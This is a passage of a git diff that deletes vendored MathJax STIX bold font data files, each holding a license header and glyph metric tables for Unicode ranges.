-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{256:[810,0,722,9,689],257:[600,14,500,25,488],258:[901,0,722,9,689],259:[691,14,500,25,488],260:[690,205,722,9,721],261:[473,205,500,25,569],262:[923,19,722,49,687],263:[713,14,444,25,430],264:[914,19,722,49,687],265:[704,14,444,25,430],266:[876,19,722,49,687],267:[666,14,444,25,430],268:[914,19,722,49,687],269:[704,14,444,25,430],270:[914,0,722,14,690],271:[709,14,680,25,710],272:[676,0,722,6,690],273:[676,14,556,25,534],274:[810,0,667,16,641],275:[600,14,444,25,427],276:[901,0,667,16,641],277:[691,14,444,25,427],278:[876,0,667,16,641],279:[666,14,444,25,427],280:[676,205,667,16,641],281:[473,205,444,25,435],282:[914,0,667,16,641],283:[704,14,444,25,427],284:[914,19,778,37,755],285:[704,206,500,28,483],286:[901,19,778,37,755],287:[691,206,500,28,483],288:[876,19,778,37,755],289:[666,206,500,28,483],290:[691,378,778,37,755],291:[863,206,500,28,483],292:[914,0,778,21,759],293:[914,0,556,15,534],294:[676,0,778,21,759],295:[676,0,556,15,534],296:[884,0,389,14,379],297:[674,0,278,-47,318],298:[810,0,389,20,370],299:[600,0,278,-25,305],300:[900,0,389,20,370],301:[691,0,278,-11,292],302:[676,205,389,20,389],303:[691,205,278,15,321],304:[876,0,389,20,370],305:[461,0,278,15,256],306:[676,96,838,20,917],307:[691,203,552,15,531],308:[914,96,500,3,479],309:[704,203,333,-57,335],310:[676,378,778,30,769],311:[676,378,556,22,543],312:[470,0,600,19,627],313:[923,0,667,19,638],314:[923,0,278,15,260],315:[676,378,667,19,638],316:[676,378,278,15,256],317:[691,0,667,19,638],318:[709,0,457,15,442],319:[676,0,667,19,638],320:[676,0,414,15,441],321:[676,0,667,18,638],322:[676,0,278,-22,303],323:[923,18,722,16,701],324:[713,0,556,21,539],325:[676,378,722,16,701],326:[473,378,556,21,539],327:[914,18,722,16,701],328:[704,0,556,21,539],329:[709,0,705,13,693],330:[676,96,732,14,712],331:[473,205,556,21,490],332:[810,19,778,35,743],333:[600,14,500,25,476],334:[901,19,778,35,743],335:[691,14,500,25,476],336:[923,19,778,35,743],337:[713,14,500,25,476],338:[684,5,1000,22,981],339:[473,14,722,22,696],340:[923,0,722,26,716],341:[713,0,444,28,434],342:[676,378,722,26,716],343:[473,378,444,28,434],344:[914,0,722,26,716],345:[704,0,444,28,434],346:[923,19,556,35,513],347:[713,14,389,25,364],348:[914,19,556,35,513],349:[704,14,389,22,361],350:[692,218,556,35,513],351:[473,218,389,25,361],352:[914,19,556,35,513],353:[704,14,389,22,361],354:[676,218,667,31,636],355:[630,218,333,19,332],356:[914,0,667,31,636],357:[709,12,415,19,445],358:[676,0,667,31,636],359:[630,12,333,17,332],360:[886,19,722,16,701],361:[674,14,556,16,538],362:[810,19,722,16,701],363:[600,14,556,16,538],364:[901,19,722,16,701],365:[691,14,556,16,538],366:[935,19,722,16,701],367:[740,14,556,16,538],368:[923,19,722,16,701],369:[713,14,556,16,538],370:[676,205,722,16,701],371:[461,205,556,16,547],372:[914,15,1000,19,981],373:[704,14,722,23,707],374:[914,0,722,15,699],375:[704,205,500,16,482],376:[876,0,722,15,699],377:[923,0,667,28,634],378:[713,0,444,21,420],379:[876,0,667,28,634],380:[666,0,444,21,420],381:[914,0,667,28,634],382:[704,0,444,21,420],383:[691,0,333,14,389]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/LatinExtendedA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LatinExtendedAdditional.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LatinExtendedAdditional.js
deleted file mode 100644
index 85de3aee..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LatinExtendedAdditional.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LatinExtendedAdditional.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{7808:[923,15,1000,19,981],7809:[713,14,722,23,707],7810:[923,15,1000,19,981],7811:[713,14,722,23,707],7812:[876,15,1000,19,981],7813:[666,14,722,23,707],7922:[923,0,722,15,699],7923:[713,205,500,16,482]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/LatinExtendedAdditional.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LatinExtendedB.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LatinExtendedB.js
deleted file mode 100644
index 5ed1d7b5..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LatinExtendedB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LatinExtendedB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LetterlikeSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LetterlikeSymbols.js
deleted file mode 100644
index b332fc5d..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LetterlikeSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LetterlikeSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{8450:[691,19,727,45,672],8453:[688,12,873,38,835],8455:[691,19,699,65,662],8460:[701,205,843,42,795],8461:[676,0,768,75,693],8462:[685,10,576,50,543],8463:[685,10,576,50,543],8465:[701,25,790,54,735],8467:[699,14,500,43,632],8469:[676,0,738,75,663],8470:[691,18,1093,10,1042],8471:[691,19,747,26,721],8472:[541,219,850,55,822],8473:[676,0,700,75,670],8474:[691,64,797,45,747],8476:[701,25,884,50,841],8477:[676,0,783,75,758],8478:[676,101,722,26,726],8482:[676,-271,1000,24,977],8484:[691,0,777,52,727],8485:[676,205,448,21,424],8486:[692,0,758,35,723],8487:[674,18,758,35,723],8488:[701,195,755,44,703],8489:[475,0,312,9,244],8491:[920,0,722,9,689],8493:[701,19,773,54,731],8498:[676,0,616,48,546],8501:[694,34,766,76,690],8502:[694,34,703,60,659],8503:[694,34,562,71,493],8504:[694,34,599,40,559],8508:[461,11,804,55,759],8509:[486,203,646,23,624],8510:[676,0,497,75,643],8511:[676,0,768,75,693],8512:[773,269,976,36,952],8517:[676,0,748,75,703],8518:[676,14,643,50,583],8519:[473,14,573,50,523],8520:[691,0,330,65,265],8521:[691,205,371,-20,311],8523:[690,17,833,61,788]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/LetterlikeSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Main.js
deleted file mode 100644
index 56d5e4db..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"]={directory:"General/Bold",family:"STIXGeneral",weight:"bold",Ranges:[[160,255,"Latin1Supplement"],[256,383,"LatinExtendedA"],[384,591,"LatinExtendedB"],[592,687,"IPAExtensions"],[688,767,"SpacingModLetters"],[768,879,"CombDiacritMarks"],[880,1023,"GreekAndCoptic"],[1024,1279,"Cyrillic"],[7424,7615,"PhoneticExtensions"],[7680,7935,"LatinExtendedAdditional"],[8192,8303,"GeneralPunctuation"],[8304,8351,"SuperAndSubscripts"],[8352,8399,"CurrencySymbols"],[8400,8447,"CombDiactForSymbols"],[8448,8527,"LetterlikeSymbols"],[8528,8591,"NumberForms"],[8592,8703,"Arrows"],[8704,8959,"MathOperators"],[8960,9215,"MiscTechnical"],[9216,9279,"ControlPictures"],[9312,9471,"EnclosedAlphanum"],[9472,9599,"BoxDrawing"],[9632,9727,"GeometricShapes"],[9728,9983,"MiscSymbols"],[10176,10223,"MiscMathSymbolsA"],[10624,10751,"MiscMathSymbolsB"],[10752,11007,"SuppMathOperators"],[64256,64335,"AlphaPresentForms"],[119808,119859,"MathBold"],[120172,120223,"BoldFraktur"],[120276,120327,"MathSSBold"],[120488,120545,"GreekBold"],[120662,120719,"GreekSSBold"],[120782,120791,"MathBold"],[120812,120822,"MathSSBold"]],32:[0,0,250,0,0],33:[691,13,333,81,251],34:[691,-404,555,83,472],35:[700,0,500,5,495],36:[750,99,500,29,472],37:[706,29,749,61,688],38:[691,16,833,62,789],39:[691,-404,278,75,204],40:[694,168,333,46,306],41:[694,168,333,27,287],42:[691,-255,500,56,448],43:[563,57,750,65,685],44:[155,180,250,39,223],45:[287,-171,333,44,287],46:[156,13,250,41,210],47:[691,19,278,-24,302],48:[688,13,500,24,476],49:[688,0,500,65,441],50:[688,0,500,17,478],51:[688,14,500,16,468],52:[688,0,500,19,476],53:[676,8,500,22,470],54:[688,13,500,28,475],55:[676,0,500,17,477],56:[688,13,500,28,472],57:[688,13,500,26,473],58:[472,13,333,82,251],59:[472,180,333,82,266],60:[534,24,750,80,670],61:[399,-107,750,68,682],62:[534,24,750,80,670],63:[689,13,500,57,445],64:[691,19,930,108,822],65:[690,0,722,9,689],66:[676,0,667,16,619],67:[691,19,722,49,687],68:[676,0,722,14,690],69:[676,0,667,16,641],70:[676,0,611,16,583],71:[691,19,778,37,755],72:[676,0,778,21,759],73:[676,0,389,20,370],74:[676,96,500,3,478],75:[676,0,778,30,769],76:[677,0,667,19,638],77:[676,0,944,14,921],78:[676,18,722,16,701],79:[691,19,778,35,743],80:[676,0,611,16,600],81:[691,176,778,35,743],82:[676,0,722,26,716],83:[692,19,556,35,513],84:[676,0,667,31,636],85:[676,19,722,16,701],86:[676,18,722,16,701],87:[676,15,1000,19,981],88:[676,0,722,16,699],89:[676,0,722,15,699],90:[676,0,667,28,634],91:[678,149,333,67,301],92:[691,19,278,-25,303],93:[678,149,333,32,266],94:[676,-311,581,73,509],95:[-75,125,500,0,500],96:[713,-528,333,8,246],97:[473,14,500,25,488],98:[676,14,556,17,521],99:[473,14,444,25,430],100:[676,14,556,25,534],101:[473,14,444,25,427],102:[691,0,333,14,389],103:[473,206,500,28,483],104:[676,0,556,15,534],105:[691,0,278,15,256],106:[691,203,333,-57,263],107:[676,0,556,22,543],108:[676,0,278,15,256],109:[473,0,833,15,814],110:[473,0,556,21,539],111:[473,14,500,25,476],112:[473,205,556,19,524],113:[473,205,556,34,536],114:[473,0,444,28,434],115:[473,14,389,25,361],116:[630,12,333,19,332],117:[461,14,556,16,538],118:[461,14,500,21,485],119:[461,14,722,23,707],120:[461,0,500,12,484],121:[461,205,500,16,482],122:[461,0,444,21,420],123:[698,175,394,22,340],124:[691,19,220,66,154],125:[698,175,394,54,372],126:[333,-173,520,29,491],915:[676,0,620,16,593],916:[690,0,722,33,673],920:[692,18,778,35,743],923:[690,0,707,9,674],926:[676,0,647,40,607],928:[676,0,778,21,759],931:[676,0,671,28,641],933:[692,0,703,7,693],934:[676,0,836,18,818],936:[692,0,808,15,797],937:[692,0,768,28,740]};MathJax.OutputJax["HTML-CSS"].initFont("STIXGeneral-bold");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/Main.js");
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MathBold.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MathBold.js
deleted file mode 100644
index c7ac026e..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MathBold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MathBold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{119808:[690,0,722,9,689],119809:[676,0,667,16,619],119810:[691,19,722,49,687],119811:[676,0,722,14,690],119812:[676,0,667,16,641],119813:[676,0,611,16,583],119814:[691,19,778,37,755],119815:[676,0,778,21,759],119816:[676,0,389,20,370],119817:[676,96,500,3,478],119818:[676,0,778,30,769],119819:[676,0,667,19,638],119820:[676,0,944,14,921],119821:[676,18,722,16,701],119822:[691,19,778,35,743],119823:[676,0,611,16,600],119824:[691,176,778,35,743],119825:[676,0,722,26,716],119826:[692,19,556,35,513],119827:[676,0,667,31,636],119828:[676,19,722,16,701],119829:[676,18,722,16,701],119830:[676,15,1000,19,981],119831:[676,0,722,16,699],119832:[676,0,722,15,699],119833:[676,0,667,28,634],119834:[473,14,500,25,488],119835:[676,14,556,17,521],119836:[473,14,444,25,430],119837:[676,14,556,25,534],119838:[473,14,444,25,427],119839:[691,0,333,14,389],119840:[473,206,500,28,483],119841:[676,0,556,15,534],119842:[691,0,278,15,256],119843:[691,203,333,-57,263],119844:[676,0,556,22,543],119845:[676,0,278,15,256],119846:[473,0,833,15,814],119847:[473,0,556,21,539],119848:[473,14,500,25,476],119849:[473,205,556,19,524],119850:[473,205,556,34,536],119851:[473,0,444,28,434],119852:[473,14,389,25,361],119853:[630,12,333,19,332],119854:[461,14,556,16,538],119855:[461,14,500,21,485],119856:[461,14,722,23,707],119857:[461,0,500,12,484],119858:[461,205,500,16,482],119859:[461,0,444,21,420],120782:[688,13,500,24,476],120783:[688,0,500,65,441],120784:[688,0,500,17,478],120785:[688,14,500,16,468],120786:[688,0,500,19,476],120787:[676,8,500,22,470],120788:[688,13,500,28,475],120789:[676,0,500,17,477],120790:[688,13,500,28,472],120791:[688,13,500,26,473]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/MathBold.js");
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MathOperators.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MathOperators.js
deleted file mode 100644
index 21669821..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MathSSBold.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MathSSBold.js
deleted file mode 100644
index ccfc1658..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MathSSBold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MathSSBold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{120276:[690,0,690,25,665],120277:[676,0,636,80,594],120278:[691,19,723,49,688],120279:[676,0,709,80,674],120280:[676,0,635,80,597],120281:[676,0,582,80,570],120282:[691,19,746,37,671],120283:[676,0,715,80,635],120284:[676,0,440,65,375],120285:[676,96,481,15,406],120286:[676,0,712,80,707],120287:[676,0,603,80,587],120288:[676,0,913,80,833],120289:[676,18,724,80,644],120290:[692,18,778,35,743],120291:[676,0,581,80,569],120292:[691,176,779,35,754],120293:[676,0,670,80,657],120294:[691,19,554,35,511],120295:[676,0,641,14,627],120296:[676,19,699,75,624],120297:[676,18,690,25,665],120298:[676,15,997,30,967],120299:[676,0,740,40,700],120300:[676,0,694,20,674],120301:[676,0,653,25,623],120302:[473,14,489,23,428],120303:[676,13,512,55,487],120304:[473,14,462,25,442],120305:[676,14,518,25,463],120306:[473,13,452,25,433],120307:[691,0,340,14,374],120308:[473,206,504,28,490],120309:[676,0,510,55,455],120310:[688,0,245,50,195],120311:[688,203,324,-57,269],120312:[676,0,519,55,506],120313:[676,0,235,55,180],120314:[473,0,776,55,721],120315:[473,0,510,55,455],120316:[473,14,501,25,476],120317:[473,205,512,55,487],120318:[473,205,512,25,457],120319:[473,0,411,55,406],120320:[473,13,385,25,357],120321:[630,12,386,7,371],120322:[461,15,518,55,463],120323:[461,14,462,15,447],120324:[461,14,701,17,684],120325:[461,0,506,20,486],120326:[461,205,472,18,455],120327:[461,0,441,21,417],120812:[688,13,500,24,476],120813:[688,0,500,82,334],120814:[688,0,500,20,474],120815:[688,13,500,18,479],120816:[688,0,500,19,484],120817:[676,13,500,13,483],120818:[688,13,500,26,475],120819:[676,0,500,35,471],120820:[688,13,500,28,472],120821:[688,13,500,26,475]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/MathSSBold.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscMathSymbolsA.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscMathSymbolsA.js
deleted file mode 100644
index f278f428..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscMathSymbolsA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscMathSymbolsA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{10184:[547,13,1025,62,943],10185:[547,13,1025,62,943],10216:[732,193,445,69,399],10217:[732,193,445,46,376]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/MiscMathSymbolsA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscMathSymbolsB.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscMathSymbolsB.js
deleted file mode 100644
index 106f37f6..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscMathSymbolsB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscMathSymbolsB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{10624:[705,200,675,105,570],10678:[634,130,864,50,814],10679:[634,130,864,50,814],10680:[634,130,864,50,814],10688:[634,130,864,50,814],10689:[634,130,864,50,814],10692:[661,158,910,45,865],10693:[661,158,910,45,865],10694:[661,158,910,45,865],10695:[661,158,910,45,865]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/MiscMathSymbolsB.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscSymbols.js
deleted file mode 100644
index 6b3b86d9..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{9837:[740,5,437,86,389],9838:[818,210,490,97,393],9839:[818,210,490,52,438]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/MiscSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscTechnical.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscTechnical.js
deleted file mode 100644
index 35ed7b4b..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscTechnical.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MiscTechnical.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{8962:[774,0,926,55,871],8968:[731,193,469,164,459],8969:[731,193,469,10,305],8970:[732,193,469,164,459],8971:[732,193,469,10,305],8976:[399,-108,750,65,685],8985:[399,-108,750,65,685],8994:[378,-129,1026,37,990],8995:[378,-129,1026,37,990],9001:[732,193,445,69,399],9002:[732,193,445,46,376],9014:[751,156,926,85,841],9021:[694,190,924,80,844],9023:[732,200,728,55,673],9135:[297,-209,315,0,315]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/MiscTechnical.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/NumberForms.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/NumberForms.js
deleted file mode 100644
index 0c1d514f..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/NumberForms.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/NumberForms.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{8531:[688,12,750,-7,763],8532:[688,12,750,28,763],8533:[688,12,750,-7,775],8534:[688,12,750,28,775],8535:[688,12,750,23,775],8536:[688,12,750,22,775],8537:[688,12,750,-7,758],8538:[688,12,750,49,758],8539:[688,12,750,-7,775],8540:[688,12,750,23,775],8541:[688,12,750,49,775],8542:[688,12,750,30,775]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/NumberForms.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/PhoneticExtensions.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/PhoneticExtensions.js
deleted file mode 100644
index 170663e7..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/PhoneticExtensions.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/PhoneticExtensions.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{7424:[475,0,515,9,503],7431:[461,0,531,20,511],7452:[461,19,600,16,584]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/PhoneticExtensions.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/SpacingModLetters.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/SpacingModLetters.js
deleted file mode 100644
index ddd67b71..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/SpacingModLetters.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/SpacingModLetters.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{688:[842,-335,378,6,365],689:[848,-336,378,7,365],690:[868,-179,300,25,273],691:[699,-335,270,12,266],692:[690,-326,292,10,264],693:[690,-163,319,10,342],694:[684,-345,404,20,397],695:[681,-331,550,23,528],696:[690,-179,380,16,374],697:[684,-421,208,30,216],698:[684,-421,356,19,364],699:[685,-350,333,39,223],700:[686,-351,333,39,223],701:[686,-351,250,39,223],702:[662,-382,334,65,250],703:[662,-382,334,65,250],704:[690,-240,353,30,333],705:[690,-240,353,30,333],706:[760,-414,317,30,297],707:[760,-414,317,30,297],708:[720,-453,317,-14,332],709:[720,-453,317,-14,332],710:[704,-528,333,-2,335],711:[704,-528,333,-2,335],712:[720,-455,279,112,167],713:[637,-565,370,20,350],714:[713,-528,266,20,258],715:[713,-528,266,20,258],716:[70,195,278,112,167],717:[-88,160,370,20,350],718:[-7,192,333,15,253],719:[-7,192,333,80,318],720:[474,-4,333,79,254],721:[474,-294,333,79,254],722:[378,-62,333,65,268],723:[378,-62,333,65,268],724:[206,-4,333,51,281],725:[206,-4,333,51,281],726:[227,-9,334,61,273],727:[150,-84,334,61,273],728:[691,-528,333,15,318],729:[666,-537,333,102,231],730:[750,-537,333,60,273],731:[44,173,333,90,319],732:[674,-547,333,-16,349],733:[713,-528,333,-13,425],734:[481,-186,292,0,302],735:[744,-506,260,10,250],736:[684,-190,420,10,410],737:[842,-335,190,5,186],738:[695,-320,300,19,278],739:[690,-335,380,12,376],740:[855,-335,328,20,323],741:[676,0,405,40,368],742:[676,0,405,40,368],743:[676,0,405,40,368],744:[676,0,405,40,368],745:[676,0,405,40,368],748:[70,167,314,5,309],749:[720,-528,395,5,390]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/SpacingModLetters.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/SuperAndSubscripts.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/SuperAndSubscripts.js
deleted file mode 100644
index bcc5a603..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/SuperAndSubscripts.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/SuperAndSubscripts.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
